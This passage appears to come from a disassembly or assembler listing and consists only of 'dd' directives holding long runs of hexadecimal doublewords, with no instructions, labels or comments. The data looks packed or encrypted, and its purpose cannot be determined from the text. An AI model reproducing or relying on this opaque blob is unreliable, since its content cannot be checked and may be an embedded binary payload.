3E3B483h dd 9A8EF5EBh, 0A470ECE1h, 3292F087h, 405BFEC2h, 0BE836721h dd 478462E9h, 3F8D3F71h, 0B7787CA0h, 0A2DBF717h, 4256338Ch dd 37B39DAFh, 10E4AC18h, 7DF07FBEh, 442F347Ah, 741E7F47h dd 4A5BE85Dh, 7F20DEB8h, 1C658480h, 0A743C53Dh, 7F664235h dd 9BC62159h, 801CA313h, 0F603AABBh, 0DB05B725h, 813384D1h dd 204169D4h, 0E330C1E0h, 5A3F2E06h, 0E9C80CD0h, 0F3457B92h dd 0C91FE007h, 0A66F8720h, 70D3E175h, 32042D1Bh, 1216050h dd 4F706BC7h, 9AE95709h, 0E0B21B19h, 9D5302C3h, 1451B87Ch dd 0E2DA176Fh, 4AC1C00Ah, 9769DE59h, 8B552350h, 33DE02D9h dd 0A98E57Dh, 1F0BAAAFh, 40DB8023h, 0A0198535h, 0C1291704h dd 0BF9155E9h, 0FEC164B6h, 6B35C8E5h, 2578D52Ch, 474A1A4Eh dd 2521890Eh, 0C64359C8h, 14539C80h, 0E0BDA55Ah, 163A2D34h dd 0AC048E40h, 7CA89354h, 0EF90EF4Dh, 40D96C24h, 2C0A318Fh dd 0CFE2485Fh, 43D23500h, 0A305101Ch, 270A6E7Dh, 69535BE9h dd 8B04460Fh, 34CD401h, 8364E406h, 915BFEA8h, 78407027h dd 5D8F8265h, 0C577E562h, 4968055Bh, 9E62FA28h, 12DE8A7h dd 0CD2D09F8h, 7FA78A5Bh, 24A41648h, 72F14A5Eh, 908BA22Eh dd 766910E2h, 531EBF02h, 0C05D38DAh, 3B2E836Bh, 0E700157Ah dd 70A46ACBh, 97BC23E9h, 0F0DFEA9Dh, 48240EF0h, 0F6C807FEh dd 0D27F2CD8h, 0B7434E7h, 205C04EBh, 661CA3BCh, 3AFCAE95h dd 688F50BBh, 5F7264CDh, 8F5ECE0h, 4513DF26h, 42B97C02h dd 9F7A606Ah, 0DA22B772h, 8AD988DDh, 42CCFC4Bh, 999A57D7h dd 0CB29DE5Dh, 50426E74h, 0AAEB2432h, 5E5D8193h, 6B39AD0Eh dd 45ABD50Ch, 0AE096576h, 0E6D4A090h, 7B9B28F7h, 0D47C7175h dd 805E5916h, 2FB6EDCh, 186D8B97h, 0CC765FFFh, 0DD4C9D28h dd 3BF3315Eh, 9267424Dh, 6CD80B08h, 0A85AA397h, 77C516E2h dd 73CBFF1Ch, 0D949E90Ch, 0F20BC59Fh, 7E293C2Bh, 2C5405B7h dd 0E8F68215h, 0F6007BD2h, 816AA00Ah, 2D1873CAh, 5F20113Ah dd 44EFCE5Bh, 0E66ED295h, 509433E9h, 0BB058069h, 145B68ADh dd 7F26A298h, 9E485054h, 57710219h, 1EBD6804h, 6320F5ECh dd 104C9D86h, 68C80F05h, 6AB361D8h, 0EE6F4935h, 0A82FB29Dh dd 10C6480Ah, 0BD01568Fh, 6900F8Dh, 56AE3E31h, 0A8B30066h dd 81334239h, 36AEE50Ah, 0BB08C9ACh, 93531DF3h, 8BA4AFD8h dd 76702061h, 2877A0A2h, 0C300BF2h, 49781F0Fh, 0B4957736h dd 0EF8ABA4Bh, 0C4174ED5h, 0E161AB4Fh, 8A7E588Bh, 7D539ADAh dd 12A1FCC2h, 1796585h, 363E4568h, 640F6627h, 0C5587CA4h dd 0D8601D77h, 0F5B9577Bh, 9DE21A00h, 0E098C250h, 9510C1Fh dd 6FF1CD01h, 99601CEAh, 0BCC4BFFBh, 5A6BE396h, 0A439F48Dh dd 36C03A30h, 4CC3E85Ah, 0CF0E1635h, 0F2D3CAEDh, 57518B5Fh dd 0DE011383h, 8C865882h, 0FADE2172h, 0D11E9009h, 0D3B0BC4Fh dd 42F2355Bh, 25057201h, 19D130DAh, 3F1AFAE8h, 51BC4D95h dd 2D2E7B00h, 0EAC1FEB1h, 82E9CEC4h, 94EACF94h, 60E1EEAFh dd 134FAD20h, 0BD74F642h, 0AFB873BAh, 7C18C6EEh, 0FECE8C7Eh dd 1329392Fh, 325FCB2Dh, 65596A6Ah, 0CB8703A8h, 84ED1F7h dd 12973C52h, 2D4C2828h, 25659103h, 0F7AF0B13h, 90680BF8h dd 8858710Fh, 0E90B3576h, 9D9458B5h, 4371D47Ch, 5E7FA12Dh dd 0C350A90Ah, 388A48E9h, 5F4C5920h, 4F776E10h, 0F41D09AFh dd 919B1350h, 0E0E11703h, 6E01F984h, 0EECD5A64h, 52A7C0C6h dd 0F8B08BB6h, 5AF03016h, 8AEBEA17h, 0BCE90996h, 199ADD65h dd 75700955h, 78B6495Bh, 75FB2FC7h, 903F42F3h, 0AB4046F5h dd 0F6889FD7h, 3C74AD9Dh, 0D2F0F57Ah, 582F0735h, 10199FBAh dd 5B2E5F0Ah, 0EAA91254h, 79BDB320h, 1FF5047Eh, 0E801C583h dd 0A068CE38h, 586FA603h, 48E40B2Dh, 0E55701Dh, 2735C7BCh dd 0AF0B5FC3h, 14D5AEE1h, 0E51F130h, 2910C368h, 85A10D3h dd 4B1EB85Eh, 0B5A1A6F8h, 0D29C6277h, 5A11B2BAh, 52E78CD1h dd 9D3F13E0h, 727CBE27h, 0DFC13E79h, 0EA049A31h, 6A0B6108h dd 2901E535h, 0DF205266h, 0E9FAA817h, 1632492Dh, 7D4AC5Eh dd 63602521h, 7C3028D2h, 67754994h, 5EF30963h, 0C15B1D4Ch dd 0E23F4AB1h, 110696BDh, 982B5E41h, 276127F4h, 1E4A4CD1h dd 2312EF16h, 8D0C6C05h, 9BAC1CCh, 1BC22C0Bh, 1CDC7180h dd 549D3C32h, 6C5AE66Bh, 54FB9D5Ah, 0B40F09FCh, 75A4A4B0h dd 32469154h, 22302B5Fh dd 4A2042D6h, 8E1FA143h, 12E90506h, 332056C7h, 136ABE56h dd 0EA782A3Fh, 0BC3A72A1h, 0F1E9EDA3h, 3FB82144h, 0B65FB5D1h dd 729E1752h, 0ACC48EA8h, 0F9261866h, 3B910043h, 7FC78147h dd 7895A24Ch, 0FD51B5ACh, 4496DE09h, 4E7206EFh, 0B06357Fh dd 0CA0C599Dh, 277E2DD8h, 847A2C71h, 8009A905h, 29A235E7h dd 65EA4DE9h, 0C3315E09h, 59581D56h, 7CDA0962h, 0AB56B6E9h dd 0DEEE5716h, 0D5A06909h, 7DF4DE01h, 69126AD3h, 0D5BB5C0h dd 4859F642h, 212303Dh, 94B02079h, 564920B4h, 0EABA800Fh dd 2181232h, 5AF7BB53h, 27506F6Ch, 4875F613h, 0F146500Ch dd 48DB5F93h, 0D00D2402h, 2C3E122Ch, 0E4316871h, 0A61B3B6Fh dd 62C4AB04h, 284C3CACh, 0E34A8856h, 0BB622EFBh, 63436886h dd 112D5945h, 0BC3D292Ch, 4A494AA7h, 6B7D31E8h, 0E480A702h dd 5F665F4Bh, 8158D69Fh, 6C3C84BEh, 63903007h, 29145C0Eh dd 8910D201h, 31580108h, 60F1E9F5h, 0EBEA286Bh, 67ADEB5h dd 583779E9h, 830C0DA5h, 0A0EA2F80h, 6213686Bh, 363B2145h dd 0E4014105h, 6C6F370Ah, 2EE7F970h, 1FF1D2Bh, 9E752DF5h dd 88053F48h, 89FFD9F7h, 5F0B4A59h, 7DE60AE1h, 0D2A0B216h dd 0C8255A0Fh, 8BCE746Ch, 0E87F8213h, 3E75997Ah, 4A733DB2h dd 78D0B2ACh, 66E13E5Ah, 0E145E82Eh, 938DED6h, 0C6C2EFC0h dd 214F6102h, 0A4B4F7ACh, 0FC407014h, 0EF6D5F68h, 5DAC4526h dd 0E9A0B71Ch, 1DC01AF6h, 4A836DF1h, 9DC2F6CCh, 712DF680h dd 547AA30Bh, 94952FF6h, 891ACEB8h, 0AF855233h, 0DA6707D7h dd 7CF827D2h, 7D408907h, 2618DB75h, 0AAAC12C7h, 638F0BE2h dd 0D2AAE33h, 0CEBB885Eh, 2A2D315Dh, 0CA302F68h, 80C7B548h dd 0AA462509h, 0E9B7C8D7h, 7FB66068h, 0F83BEFC2h, 6F89762Ch dd 0F917920Bh, 2B038C49h, 8391BF2Ah, 120BB88Ah, 0C216FEA7h dd 8AA0F30Ch, 0AC02DD0h, 2A9AFE3Eh, 9DB2C7BAh, 1CB12149h dd 7832C1EAh, 2F4F5EC4h, 9D983E75h, 7E1F1455h, 7045B78Bh dd 7000D0A4h, 250B8F38h, 2F663436h, 82908682h, 5CE2892Fh dd 30A10261h, 0C07F1AD7h, 4F7168CAh, 10C9F80Ch, 0AF4B35BDh dd 4A2AE038h, 4E00F2F4h, 433094A8h, 96B4C154h, 844B16Ah dd 6435D6A5h, 0FF2C9513h, 29AE540Fh, 0B0B7876h, 0D82805B3h dd 0D73512D5h, 680B6C4Fh, 0C287DC9Dh, 4CDDEE65h, 71772D29h dd 514CF7ECh, 32480BD6h, 0CBB08461h, 75A183FBh, 735AF3B0h dd 0D989D8F9h, 0ED1DE0B7h, 0E040969h, 0E0A5F7E9h, 8B9BC15Ah dd 84805449h, 0C905FFCAh, 0E2FB33FAh, 412A10ABh, 0B35EB5Eh dd 12FFE6BFh, 0CB5638E9h, 805AB509h, 0E5FE3D5Eh, 7268B0CCh dd 0E9FB0AEFh, 0A6EF10A1h, 5A74392Bh, 15FDC018h, 4A7C2B7Eh dd 25895F56h, 9FDE4B9h, 59CD87E9h, 1C568057h, 909D6BD4h dd 37345EFEh, 90E387BBh, 0FA0118F9h, 8826F98h, 5F436377h dd 0F0AEBCB5h, 967653E9h, 0D8246F82h, 0A12CF8F3h, 1780959Bh dd 0B2EBEAF1h, 0C87D89B6h, 0D7C1224Ah, 52DC5753h, 4DA2A958h dd 434E23Fh, 489B73ADh, 7CAC02AFh, 9D7CD51h, 59187CD4h dd 9AE6967h, 15352E0h, 6D603753h, 39EAA070h, 73AC45EDh dd 18251093h, 78D1F757h, 5F80CFB3h, 46EB0A2h, 0D7AF5DC1h dd 8FCBBF02h, 42731222h, 0F39D6010h, 0ADD113DAh, 881EEEEEh dd 78B0CF41h, 0E7FC0D33h, 42D1686h, 617DE03Ch, 0B353C0A8h dd 0D750312Fh, 0AF5E120Bh, 8BA8EA44h, 0F085D95Bh, 0DF822AEDh dd 94A728Ah, 57764CE3h, 0FA07EA4Ah, 7D0B5A2Eh, 9DE32E21h dd 0FE77EEB2h, 53805ABFh, 17F3D74h, 451022D2h, 0B2D4C08h dd 0D0D2721Eh, 166303DBh, 0F7292573h, 5E082840h, 0FE65A4Fh dd 0B8B8E213h, 7BE6C013h, 0BD534DF6h, 5F4ACDB0h, 39AA28D6h dd 0ADC86086h, 13BCDB41h, 20D01127h, 4943F397h, 0DD1EB106h dd 6418ED26h, 93A0E417h, 0F4059855h, 7602067Bh, 4E3A41E9h dd 0D916FF9Dh, 3627FA2Bh, 338C4B69h, 0DF7F42A8h, 85BF3703h dd 0F94B265Bh, 0D16F8F6Eh, 35D2A5DCh, 999A3059h, 0FF9D8A7Dh dd 0CD98253Ch, 23A6925Eh, 0A2B50222h, 4101B102h, 0E7C9CC26h dd 2B9D797Ah, 8B016285h, 0BEE922B2h, 29B30A6Fh, 4B7C117Eh dd 0FB5E53AEh, 8168D660h, 0EBF19722h, 7A3D82E9h, 0B44AE559h dd 0E83180CEh, 54E7836h, 0EB7D56C0h, 0ED09950Ch, 16F36580h dd 0C3B5CC69h, 65FB9ABAh, 0DB02AD42h, 630F748Ch, 0C9C728E4h dd 8F7E6CB1h, 0D5894A17h, 68E109FBh, 98494C82h, 38A50778h dd 9DD088B4h, 0FD5E5385h, 0D0032512h, 1CD59D59h, 2E71AE4Fh dd 0AFE35B80h, 0DD8765F6h, 80298439h, 0DED57F6Ah, 2DEBFE1Bh dd 0FEE8A4E9h, 431E0568h, 35CB18ADh, 80AB4EF3h, 277755A1h dd 89FF250Ah, 28200D56h, 0C0DFF27Eh, 1405C801h, 42322C3Bh dd 0CDF05BB2h, 79136709h, 9807D829h, 7A8090BBh, 1CEB8118h dd 0DC8D3D37h, 3171D7E9h, 3BC368DBh, 332CA28Dh, 62CEEA4Bh dd 15A42921h, 7F796442h, 90BF7F67h, 0BE165FB5h, 2177051Fh dd 231EEF46h, 2DDC3705h, 1BC26C2h, 0F173CFB9h, 208D3A6Ch dd 49B23040h, 0C616AABh, 1C060B7Bh, 5E18E176h, 709BB78h dd 0BF5734C0h, 39463263h, 0AFDED477h, 6812C770h, 0BB890B65h dd 42FBC100h, 0B87E0081h, 0AFE1E471h, 0B560DEE9h, 977CC579h dd 0A43F6454h, 84DBF2D7h, 31FBF149h, 2AD1967h, 7A83C05Fh dd 0B6E183B7h, 0B80A8125h, 1F106408h, 9A4DE6FCh, 72411733h dd 4304BA79h, 0CDC2E7D1h, 1C8BE1DBh, 0F245A46Ah, 0D2CA70Bh dd 0C084002Eh, 0CE4A533Ch, 260437F0h, 1502F07Ah, 6B56BE0Ch dd 29E93829h, 25CF4B0Eh, 77A7CD74h, 46C262A3h, 62BB8405h dd 8DC40EACh, 231B83BBh, 56A4EEC5h, 0BF0EBD4Eh, 0AA7ECB04h dd 8DF5F681h, 6B4EE72Bh, 50A5100Dh, 33A3B765h, 0EF71EFD4h dd 47F11C17h, 0CE40ECECh, 0E3D11706h, 4C28B50h, 5F7F2A40h dd 91015EE8h, 51B9A611h, 0C4343458h, 7EBD6D07h, 0DCB14F2Dh dd 7DC0D65h, 0E4775E87h, 6E1D373Dh, 11975227h, 1A05BA16h dd 9BC9B6Ch, 59E4BEF5h, 0DD22F1DAh, 6227DD90h, 0DE56EDABh dd 551F019Fh, 55D01589h, 888965CEh, 6B0A7596h, 251337F2h dd 2138AA42h, 0DE680055h, 5D0DB802h, 0ED48D145h, 5BB74DB6h dd 7B8555ECh, 6E8EBA28h, 0BC493E13h, 588919h, 962D45E4h dd 0D8092F5Eh, 66B9205Fh, 9F544868h, 0F6818A80h, 0B5987638h dd 0E2BD70BFh, 0ECF99712h, 9FA8542Ch, 0AB469409h, 0C0324255h dd 2067E055h, 6890B21Fh, 274C524Eh, 9F659048h, 0F1090A63h dd 76AE70E9h, 55577010h, 1FC5BD09h, 7A47E9Bh, 21702C8Dh dd 6D512EE9h, 27711FF2h, 0AEE5BD3h, 508C604h, 347DD3E9h dd 3EC0C2C5h, 35BA020Bh, 0F8BD01FAh, 2EF16860h, 42A73AC0h dd 0F17657BAh, 3863F000h, 0E7F2E94Eh, 0F179373Fh, 92E785Bh dd 0A05B661h, 1790F1A8h, 1D14BF4Bh, 402C3FBBh, 0A1680F5Dh dd 5B699CAAh, 0A2066CF7h, 7E707DF4h, 8A14E92Ch, 0B0C057A7h dd 0F63AB4CBh, 0ADC39CDBh, 9F11C924h, 59466802h, 3D4401A2h dd 388C0325h, 0B3DA28E7h, 0D1300581h, 0C194EA5Ah, 2573ACBEh dd 14BB85Ch, 9D8873D1h, 54E225D6h, 0F82405Fh, 0EF2BC571h dd 7AEDB15Dh, 49E9A4CCh, 2927BF3Dh, 981D6CD7h, 0FAED5FE2h dd 0EFA30737h, 0E2145E6Dh, 31605C3h, 80236B0h, 0E0373EC6h dd 9D2EF1D5h, 0FCFB8E9Ah, 0C8B70FC0h, 0F6BC4A68h, 9EE91831h dd 5EF131A5h, 538C45Eh dd 8827EDDFh, 0A116334Ch, 0CBBFD2EAh, 3CBF4F26h, 6F5F6B6Bh dd 8E856AA2h, 8DBA5D37h, 430C229Dh, 8AF1EF0Ch, 0D69D7ABDh dd 357E342Ch, 0AE1D7372h, 13DC501h, 8B684B6Dh, 754FA8E0h dd 3977948h, 0D1F7B195h, 0E9E40901h, 0C6C6E8ECh, 0E4E1524Eh dd 0F6AEFD7Eh, 8D681C06h, 0C57D2752h, 2BF52F46h, 6E90FF85h dd 70CB283Dh, 0AF484B4Ah, 0D50C3FB2h, 82F1DDA7h, 0ABCA84B1h dd 86400D4h, 0A90775A4h, 0C52E5F96h, 55E6BEh, 13CA0517h dd 0F86DE681h, 46201DC7h, 3512F0D1h, 4B599836h, 0ACF10071h dd 86E9E52Bh, 0C474BDFDh, 21D51ABCh, 0FAD97710h, 3FF17DC9h dd 0FE61A549h, 0A38419BDh, 7E01A41Ch, 0CCD7812h, 956144AAh dd 0EDC00161h, 4ACD8004h, 28FAC16Fh, 0ECB27AE8h, 8E38B319h dd 4B653F21h, 90314BF0h, 0B37C5A69h, 0E99B63F1h, 964FC5BEh dd 3970B35Dh, 273BCB81h, 0EC789B47h, 1161A70Ch, 2A2E86Ah dd 0E9492065h, 0BF647530h, 0F743C916h, 74367E05h, 5A5231AEh dd 72D97E0Ah, 9793F3E8h, 96DFA35Dh, 49919146h, 1164E0CAh dd 3C5A0953h, 0ADE181E9h, 0E3472135h, 9813BBFCh, 7E188A04h dd 21A137FBh, 240E751Bh, 542B52B6h, 482DCC5Ah, 8143418Ch dd 0A1006F89h, 0CA6F70F3h, 4E38FC1Eh, 8711AC55h, 658520B1h dd 0D7A4BAC0h, 0D14F4F75h, 9DBC7BC7h, 0D9D3C3C3h, 8BEFF2ABh dd 9D54F039h, 0E6654C90h, 0AE47A79Fh, 0F73B1970h, 22A083DBh dd 509D4A8Fh, 829D4AD0h, 0E1554DB9h, 77605715h, 0C544824Fh dd 53426812h, 0F1F1C6CDh, 466FCFF9h, 0FD200953h, 0DC2DD82Fh dd 685B85D1h, 698EFABh, 2937400Bh, 90FFC24Eh, 156E213Ah dd 4B01E9B2h, 0E90BFA16h, 0A866BE75h, 0D7373D1Bh, 732C1004h dd 47992827h, 0C57F5F5h, 0B84D4588h, 0E9E56192h, 5C64DAD6h dd 0A3265460h, 950BD67Bh, 0E1C2AA42h, 803F82A9h, 5E35664Eh dd 2AA3E153h, 58091A5Eh, 6870185Bh, 0E9A3A909h, 5E6FAEFBh dd 81FBFD85h, 0C40E0A21h, 6FC4C16Fh, 7C1EAF13h, 6BE3CAFh dd 0B04E2149h, 0AB4CC7FAh, 67F0A4C9h, 68561753h, 48F6ACF4h dd 7FFE2FACh, 8FDA65BBh, 0DF258556h, 0DC96D647h, 0BDED49E4h dd 1441C86Ah, 0F9166B8Dh, 0A44038EBh, 0E5DD3D41h, 0BF2061FEh dd 0B5032930h, 0D49F97D8h, 0BECB172Ah, 2E182112h, 95621556h dd 752B9C75h, 0F0D54ABFh, 32BFEF16h, 0C8567D7Eh, 0AA54C545h dd 34CE04A5h, 0ECAE3B7Ch, 5F08402Ch, 9102EBFh, 38ABE8B2h dd 2A5A8133h, 53E823AEh, 0EA0551BEh, 6E6475D6h, 1A82B900h dd 0B0953E42h, 543340F9h, 1E685E09h, 6913DE4Ch, 0BB7CA50Bh dd 474A006Bh, 60AEE90Ch, 4FEDF12Ch, 75557F4Ch, 0ECA07AE1h dd 60E91651h, 0E6CA2130h, 33900448h, 83502268h, 0F66004E9h dd 52CE545Fh, 2DA5CCFDh, 0E47E300Fh, 0DF6ADFE9h, 4959D9D7h dd 6BC359D5h, 80699951h, 6F163B28h, 0EF4B04Ch, 618109DFh dd 80EE1776h, 80720C1Dh, 58F62149h, 92A412D6h, 0C57D37BFh dd 8AF4FE95h, 833012B7h, 0BDAE017Eh, 34164634h, 7E9A5255h dd 158F7F95h, 30B55102h, 2FE8F655h, 5CE5E1FBh, 525F41EFh dd 572CFDE9h, 74CFA0F3h, 894F5592h, 46071291h, 0BF6D060h dd 21EA75E0h, 9BBBE075h, 2702301Eh, 0BD69DE1Fh, 0E6B5765Eh dd 2DFB86E4h, 0D7E39C75h, 0C231069Ch, 0B5775F72h, 3F90DDF9h dd 6FE8C3B5h, 29752798h, 2C28402h, 0C681B5F1h, 793A61A3h dd 12205A60h, 0BF829E5Ch, 0D076C382h, 0EE801C00h, 0FAC6D786h dd 0C4445817h, 0D610FA3Ch, 0B40C8504h, 3A64F1A4h, 6AAA24C2h dd 0CDF0C8h, 9C2C76B9h, 0E1D1495Dh, 165C51BDh, 316B4B29h dd 3873A0ABh, 5FA1BD22h, 0F80D3B70h, 2B85CA40h, 98224C68h dd 50B2AF03h, 0E09C1BA0h, 819B3C24h, 79DA17BFh, 80041853h dd 59091D52h, 62D7F1DDh, 89DF2D68h, 0A47FFFDh, 9E402D01h dd 2292067h, 0AE641617h, 1AF88839h, 900A9AF0h, 1C2F2F50h dd 569D19EEh, 0E269EE44h, 0F650B509h, 4FFB2D05h, 22D46D73h dd 0A5CBADBEh, 0EC4F8EB8h, 0BF6DB64Eh, 0E909A365h, 5902A7D4h dd 7F07A04Ah, 4E34153Fh, 64E95280h, 37DBBD4Bh, 0E8B35380h dd 3797CB80h, 7004C3FEh, 0CE6848F3h, 7E955470h, 994172ECh dd 3F00058Eh, 1BD21543h, 0EAD29531h, 124D9400h, 3B212D38h dd 29350A56h, 180705E8h, 1888385Dh, 274B943Fh, 969E5DF8h dd 0E19836B2h, 0A5207BC4h, 0B0967BB8h, 9C92B8E1h, 5CC9800Fh dd 0C733FC0h, 3DA0F1C1h, 0BC431C96h, 0FDC65A31h, 240B9007h dd 45F78FCh, 89417CE9h, 0F6A52F40h, 3F87F12Fh, 50CD6E0Bh dd 0EA4648E1h, 2EFEB52Fh, 0C1B08917h, 935F4CFAh, 2D2CD704h dd 4FFA643h, 0EBD53F2h, 0E9BA24D4h, 2A144C6Dh, 25FA7532h dd 0BD5C1540h, 0BAA8086Dh, 7A5143CEh, 0D894C326h, 76971A4Dh dd 39C10748h, 0C052B907h, 4E31FBE1h, 13E9530Bh, 88F17906h dd 552519B9h, 514F8180h, 0EBFABE9Ch, 2D00BE9Ch, 0A774DFE2h dd 58C62531h, 5503D68h, 0B7F58880h, 257C584h, 0F7421668h dd 2C287F18h, 4838EA2Eh, 9340D800h, 6259E97Dh, 0F921603Fh dd 5C422A82h, 0E253407Ch, 0F98B55ADh, 35ED4DFDh, 0F4ADF90Ch dd 1F33382h, 3B3468ADh, 3CAF2312h, 9C0968A9h, 220FA1Ah dd 0F45ADEFCh, 0B3B9623Dh, 0CAA5E0F3h, 5B405D33h, 89164EACh dd 2F055760h, 6CDAF774h, 0FE27EF5Ah, 82285EE6h, 7CF975C9h dd 5219CA41h, 67D39B60h, 72F81B15h, 9CDF48A7h, 995F9DDAh dd 25D35225h, 53F9F566h, 8797C2A7h, 2A622E7Eh, 0F5734073h dd 49E52E33h, 6750276h, 9BD64B5Bh, 3145C25h, 4E74736Dh dd 978D406h, 1E2C0B64h, 0E25B7931h, 2BA8D391h, 0C768BA88h dd 46FC7D13h, 89EE6600h, 9F310F4Ah, 7CC042D0h, 7FDACAC9h dd 1B4659E9h, 1DDBEC7Bh, 81108373h, 747837C9h, 5F1F01Bh dd 86F7E413h, 0D11855E8h, 0ECD44EEh, 5E410327h, 501808B7h dd 277FF0Bh, 41A2E46h, 0C2AAD45Eh, 860D53C1h, 0BC55013Ah dd 0F9163D52h, 124C2888h, 2CAB5457h, 199D9B7Bh, 0F06009C8h dd 0FEE65E26h, 7599DD32h, 7772B5FEh, 0FB82CA7Ch, 0C3FE737Ch dd 2DB34897h, 11755100h, 7696254Bh, 56A0601h, 0B5FF8BF4h dd 16C4DD20h, 0AF749C7Ch, 7508CA50h, 0CEB95CFCh, 0E1233003h dd 3D220540h, 0BE11C37Ch, 0BAF13543h, 6445EA13h, 0D8730207h dd 0CB3175AFh, 578F8B7Dh, 924C432Ch, 1A275212h, 0C280BFEh dd 347DE355h, 1608444Ch, 6D2DAB11h, 0C692C8F6h, 5B10C32Dh dd 939FD901h, 12050304h, 8E3C05Ah, 0A3111CB9h, 94ED5B0Ch dd 0D630D809h, 1B3C1182h, 400C5406h, 0F5398063h, 0F2CD93DFh dd 0EA0E42A8h, 0D588C2FEh, 0C5472725h, 80FFB6E4h, 0F528B2C5h dd 0B98DE912h, 1056F2BBh, 5F30FE51h, 352DEBC6h, 5AB723F6h dd 0D108836Ah, 0ED2F1ECFh, 9CFF4E59h, 0D937E9D1h, 0D00722D4h dd 0D5EF0372h, 627ABEA0h, 89582EFEh, 0D75D1039h, 970BD24h dd 3F701218h, 92AFDC97h, 3413EE29h, 8282C5EAh, 6E5F9956h dd 75681799h, 9EB66145h, 1D1B921Fh, 0B38B0FF9h, 0F975CBA9h dd 33666943h, 66EF1B5h, 779FCAE9h, 5D9EF302h, 572126AEh dd 0AC256372h, 6B477D5Fh, 0E1240C90h, 6C4A0073h, 0F52552E8h dd 9C64B1Dh, 38616B40h, 12C02D1Dh, 0BA152A3Fh, 0CEC8302h dd 0D76BC3E8h, 69B3FE99h, 0CC56DC48h, 0F46A25B6h, 0EA560244h dd 4120A190h, 0C700BDA4h, 3623773Ch, 5FFE3112h, 0C8B1A2F8h dd 6B684F22h, 0FBEF75F4h dd 0E904B624h, 0E2F8C01Ah, 79F4C7C0h, 0F7EC2D31h, 67C9FC09h dd 1DB5F60Fh, 602EC4BAh, 3F84FA7Eh, 4765C601h, 7E6071A9h dd 1A1613C7h, 4A67EC3Bh, 7F64B501h, 0D16E20F2h, 0C89DEA39h dd 0DD9D592Dh, 10D4AB0h, 7B550A00h, 15511835h, 797EB736h dd 0E961FC0Eh, 3615860h, 1862CB81h, 90B77083h, 4FEE51D0h dd 0D60C8390h, 18494347h, 60DEEA89h, 0F52E0C40h, 0BF195Ch dd 5DC935B0h, 0AF984B45h, 9AED2D07h, 0D0AEC402h, 30564C95h dd 76406C0Eh, 0A2C56867h, 0C6E278E5h, 8D5D909h, 3A0281DAh dd 0E270D76Eh, 3AD4A40h, 743BBFF0h, 0AC44BF0Ch, 0DBC4905Fh dd 2F698BEAh, 0B26C80AEh, 4CE2808Ah, 632E0166h, 85686495h dd 0C499BC9Ah, 0A2910D97h, 627A7484h, 0E2C807D1h, 500439B9h dd 0CA31784Ah, 93659AF1h, 5A3CB931h, 4418AE4Bh, 4ABEE969h dd 0E98BAFC8h, 0A92CAD12h, 64EF132Dh, 0FEC37240h, 0ECBEB450h dd 5E377EE4h, 0BDEE806Dh, 0A3013C99h, 6E58139h, 0E3418835h dd 0D07F05EDh, 8B4A2BEFh, 30225960h, 0C07BB707h, 19500918h dd 0EA5F21C8h, 0C3DE33A2h, 627C58FDh, 0E7080C01h, 0D789BE23h dd 0F809DF68h, 56843767h, 27F7F851h, 80E4575Ch, 0B236815h dd 2EB985A8h, 0C684A374h, 1A83B144h, 5BCB31BAh, 0D9202A4Ch dd 950E6668h, 0E91263CCh, 37A775DDh, 0A9676813h, 0FF1271Bh dd 44924793h, 0BDD95509h, 5C0D2D7Bh, 81FA1CDFh, 0CC6B84C1h dd 0D94AE5D3h, 52B662AAh, 0B62D0BE6h, 798C444Bh, 92162F9Ch dd 0EC2F7872h, 3D5A73B6h, 0DD76282Fh, 1305D880h, 0EA207B6Bh dd 5E645C89h, 9A01DC51h, 6AEC2C56h, 29ED2517h, 0F331CEF0h dd 5BDA3D10h, 72E166Fh, 0A5D17EFDh, 46648302h, 0F9E1B107h dd 0C0BEA849h, 907FA2F1h, 0CD290510h, 0EAF8C5E9h, 0D2521E33h dd 5893509Ch, 9343805Bh, 4EB0BD78h, 9197C8D3h, 0E82B505Ah dd 1482E30h, 0F6352609h, 0CFF6E715h, 0EE0971A4h, 2B68E98Ch dd 0A4DF4B93h, 144C1C0Ch, 0AD1C9FC5h, 9E5D2768h, 827775E5h dd 8E179C56h, 0D5E5ACECh, 0AF3B8194h, 0A1317B2Ah, 28C507BDh dd 0FCD76338h, 5066592h, 26905181h, 0B5A6BA68h, 40E9570Bh dd 97F1488Dh, 0C8C49753h, 8B9711FCh, 0FDB25FE8h, 7C2FD2FDh dd 0C17582CAh, 0EC365386h, 0A081805Eh, 9398A62Ch, 7797227Dh dd 459D8194h, 7FF80294h, 605D7152h, 7D6D2D97h, 62384832h dd 6EB7FD4Fh, 0AF71E50Ch, 0EEABC7BBh, 0E90B0854h, 4EC8A230h dd 0C6251B90h, 149F263h, 33C02527h, 2C9562E9h, 2D2B9445h dd 78666811h, 1BDF3D6Bh, 0C9068093h, 30A27B61h, 0F729BB97h dd 41C19F08h, 0EC58CBE5h, 8C0B78DFh, 80293D42h, 0F7C51439h dd 99709h, 9785DE0Bh, 7275B559h, 275294D6h, 0BFDED677h dd 0E085FCCAh, 5ED56853h, 1BEC980Eh, 0FE209627h, 796B02ECh dd 918E4350h, 80280684h, 1958CDB4h, 1FAA9258h, 1C1696EDh dd 0ABC51700h, 0C113B92Ch, 0AA3508C4h, 7248666h, 0BFA0205h dd 0B0A4E9EAh, 934B45D5h, 0BE8BEF52h, 0A295AC4Eh, 9410F75Ch dd 46991403h, 0D7EF2909h, 0D6AF9A65h, 5F68054Bh, 9371AE07h dd 14BB1267h, 0BE916816h, 41DDF6CCh, 0F604605Dh, 880A620Bh dd 2D977A7Dh, 545634h, 40BC6850h, 37B0E919h, 765F40C9h dd 44660E7Fh, 0C6502CBh, 376B118Ch, 773163FAh, 59E9FB01h dd 5A4B4836h, 1EA2D15Fh, 0BC0AA748h, 0EBE937Eh, 56DDF9EBh dd 3F61E155h, 0C31635BCh, 0FF39AFACh, 472A76Eh, 6B99603Eh dd 8E9141Eh, 3D54A75h, 88C18065h, 4577C78Dh, 0C4D9FEF4h dd 0E01BEAFCh, 0EBC2EAE2h, 0C1267E93h, 393C33C8h, 0CBF8D3FDh dd 114BA880h, 882F683Fh, 3649986Eh, 0E2D44C6Ch, 0ABC05F2Dh dd 44036FB8h, 0C1217D20h, 0F5BA0158h, 2917F2DDh, 674470CFh dd 0C07AFD41h, 0EF055FACh, 2325121Ah, 0AA6B752Eh, 5934E40Eh dd 0A07FFD71h, 55D097B0h, 0CA09C24Bh, 5C7D89D0h, 0DFE62D73h dd 0A464CDF6h, 5E84CA65h, 0A728A1FAh, 340BD50Ch, 0FC310F4h dd 0CF490071h, 2ED7E6Ch, 0B0DFF7h, 0E82516F8h, 52A0DF78h dd 1F9F12Ch, 84C5E97h, 122DDFE1h, 201440E5h, 0E8884A7Eh dd 46152F1Bh, 